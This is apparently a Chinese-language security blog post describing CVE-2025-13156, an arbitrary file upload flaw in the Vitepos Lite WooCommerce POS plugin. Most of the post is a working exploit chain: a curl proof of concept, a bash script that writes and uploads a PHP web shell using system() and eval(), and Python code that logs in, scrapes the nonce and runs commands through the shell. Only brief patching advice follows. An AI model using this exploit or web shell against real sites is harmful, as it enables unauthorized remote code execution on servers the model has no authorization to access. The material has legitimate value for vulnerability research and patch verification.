CVE-2025-13156 - Vitepos WooCommerce 的销售(POS) 系统漏洞

CVE-2025-13156 - Vitepos 漏洞 -- WooCommerce 的销售点 (POS) 系统

受影响版本

产品:Vitepos -- WooCommerce 的销售点 (POS) 系统

版本:≤ v3.3.0

网址:https://wordpress.org/plugins/vitepos-lite/

CVE-2025-13156 --- 已认证(订阅者+)任意文件上传

受影响组件:网站服务器

攻击途径:在受影响网站的服务器上上传任意文件。

触发:这使得拥有订阅者级别及以上访问权限的已认证攻击者能够在受影响站点的服务器上上传任意文件,从而实现远程代码执行。

复制代码
\  'http://localhost:8080/wp-json/vitepos/v1/product/add-category' \  
-H 'Cookie: wordpress_logged_in_<your_hash>=<your_cookie>' \
-H 'X-WP-Nonce: <your_nonce>' \ 
-F 'category_name=evil' \  
-F 'category_parent=0' \  
-F 'category_description=PoC-shell' \  
-F 'category_image=@./shell.php;filename="shell.php";type=application/octet-stream'

核心问题

  1. 权限验证缺失 :REST端点仅检查is_user_logged_in(),未验证用户是否具有管理产品分类的权限

  2. 文件类型过滤不严:未对上传文件类型进行严格限制,允许上传PHP等可执行文件

影响:任何已认证用户(包括订阅者等低权限角色)都可以通过暴露的 Vitepos Lite REST 端点将任意文件上传到 wp-content/uploads/// 目录。在已启用 PHP 执行(或可通过上传配置文件重新启用)的服务器上,这会导致远程代码执行;即使执行被阻止,攻击者仍可通过上传的 HTML/SVG 文件托管恶意载荷或构造存储型 XSS 攻击。这实际上赋予了任何已登录用户任意文件写入权限。

该插件的 REST 路由位于 /wp-json/vitepos/v1/product/... 下,依赖于宽松的权限检查,实际上会接受任何已登录用户(is_user_logged_in()),而忽略调用者是否为 POS 用户或是否具有管理产品条款的权限。因此,低权限角色(例如,订阅者)也可以访问诸如 add-category/update-category 之类的端点。

公开POC内容

复制代码
curl -k \
  'http://localhost:8080/wp-json/vitepos/v1/product/add-category' \
  -H 'Cookie: wordpress_logged_in_<your_hash>=<your_cookie>' \
  -H 'X-WP-Nonce: <your_nonce>' \
  -F 'category_name=evil' \
  -F 'category_parent=0' \
  -F 'category_description=PoC-shell' \
  -F 'category_image=@./shell.php;filename="shell.php";type=application/octet-stream'

完整漏洞利用POC

复制代码
#!/bin/bash

# CVE-2025-13156 漏洞利用脚本
# 针对 Vitepos Lite ≤ v3.3.0 的任意文件上传漏洞

TARGET="http://target-site.com"
COOKIE="wordpress_logged_in_hash=your_cookie_value"
NONCE="your_nonce_value"

# 创建恶意PHP文件
cat > /tmp/shell.php << 'EOF'
<?php
if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
if(isset($_POST['code'])) {
    eval($_POST['code']);
}
echo "Vitepos Shell";
?>
EOF

# 通过add-category端点上传Web Shell
curl -k -X POST \
  "${TARGET}/wp-json/vitepos/v1/product/add-category" \
  -H "Cookie: ${COOKIE}" \
  -H "X-WP-Nonce: ${NONCE}" \
  -F "category_name=exploit" \
  -F "category_parent=0" \
  -F "category_description=Pwned" \
  -F "category_image=@/tmp/shell.php"

echo "检查上传结果: ${TARGET}/wp-content/uploads/vitepos/category/shell.php"

完整利用链路补充

步骤1:获取必要的认证信息

复制代码
import requests
import re

def get_wp_details(target_url):
    """获取WordPress nonce和cookie"""
    
    # 1. 登录获取cookie (需要有效凭证)
    session = requests.Session()
    login_data = {
        'log': 'subscriber_user',  # 订阅者账号
        'pwd': 'password',
        'wp-submit': 'Log In'
    }
    response = session.post(f"{target_url}/wp-login.php", data=login_data)
    
    # 2. 从页面中提取nonce
    response = session.get(f"{target_url}/wp-admin/")
    nonce_match = re.search(r'\"nonce\":\"([a-f0-9]+)\"', response.text)
    nonce = nonce_match.group(1) if nonce_match else None
    
    return session.cookies, nonce

步骤3:验证利用成功

复制代码
def verify_exploit(target_url, cookies):
    """验证Web Shell是否成功上传并执行"""
    
    # 尝试访问上传的shell
    shell_url = f"{target_url}/wp-content/uploads/vitepos/category/shell.php"
    
    # 测试命令执行
    test_response = requests.get(
        f"{shell_url}?cmd=whoami",
        cookies=cookies,
        verify=False
    )
    
    if "www-data" in test_response.text or "root" in test_response.text:
        print("[+] 漏洞利用成功!获得RCE权限")
        return True
    else:
        print("[-] 漏洞利用可能失败")
        return False

修复建议

  1. 升级到安全版本:更新至 Vitepos v3.3.1 或更高版本

  2. 文件检查 :扫描wp-content/uploads/vitepos/category/目录中的可疑文件

  3. 访问日志监控:检查对可疑PHP文件的访问记录

相关推荐
2501_9160074716 小时前
iOS开发中抓取HTTPS请求的完整解决方法与步骤详解
android·网络协议·ios·小程序·https·uni-app·iphone
lvronglee19 小时前
【数字图传第四步】Android App查看图传视频
android·音视频
90后的晨仔19 小时前
Android 程序入口与核心组件详解
android
90后的晨仔19 小时前
Kotlin 简介与开发环境搭建
android
BU摆烂会噶19 小时前
【LangGraph】House_Agent 实战(四):预定流程 —— 中断与人工干预
android·人工智能·python·langchain
AI玫瑰助手19 小时前
Python运算符:比较运算符(等于不等等于大于小于)与返回值
android·开发语言·python
new_dev20 小时前
Python实现Android自动化打包工具:加固、签名、多渠道一键完成
android·python·自动化
小孔龙20 小时前
Android `<activity-alias>` 指南:动态图标 · 多入口 · 重命名兼容
android·程序员·掘金·日新计划
QING61820 小时前
Kotlin inline 实战详解 —— 新手须知
android·kotlin·android jetpack
ElevenS_it18820 小时前
MySQL慢查询监控与告警实战:从slow_log采集到分钟级定位慢SQL的完整链路配置
android·sql·mysql